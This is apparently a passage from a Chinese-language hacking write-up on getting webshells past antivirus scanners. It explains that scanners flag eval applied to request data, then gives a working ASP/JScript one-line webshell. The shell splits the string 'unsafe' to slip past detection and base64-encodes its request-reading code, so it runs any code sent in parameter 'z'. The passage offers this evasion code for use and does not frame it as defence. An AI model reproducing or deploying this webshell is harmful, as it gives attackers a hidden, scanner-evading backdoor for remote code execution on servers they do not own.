我把Request/POST前随便加了一个字符,再扫一扫,结果如上图。可见安全类软件杀掉的不是eval(execute/executeglobal/assert……),而是eval+"请求数据"。当脚本内有eval字串时仅仅只是提醒而已(如果连执行函数都杀,那“上帝”造它干吗!)。但是上图中的三个脚本没一个是可以正常执行的,哪有srequest呢!
这样我们就没招了吗?答案是否定的!我们可以用这样的方式来绕一绕:[exec decoding(excoding)]=》伪代码。其中excoding为已经编码了的原生一句话。encode和decode函数自己创造吧……
经过一番功夫,我把Shell代码改造如下(当然如下代码都不是最好的,因为我有点懒):
ASP:
#!php
<script runat="server" language="Jscript">
function popup(str){
var q = "u";
var w = "afe";
var a = q + "ns" + w;
var b = eval(str,a);
return(b);
}
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>
效果呢,如下图: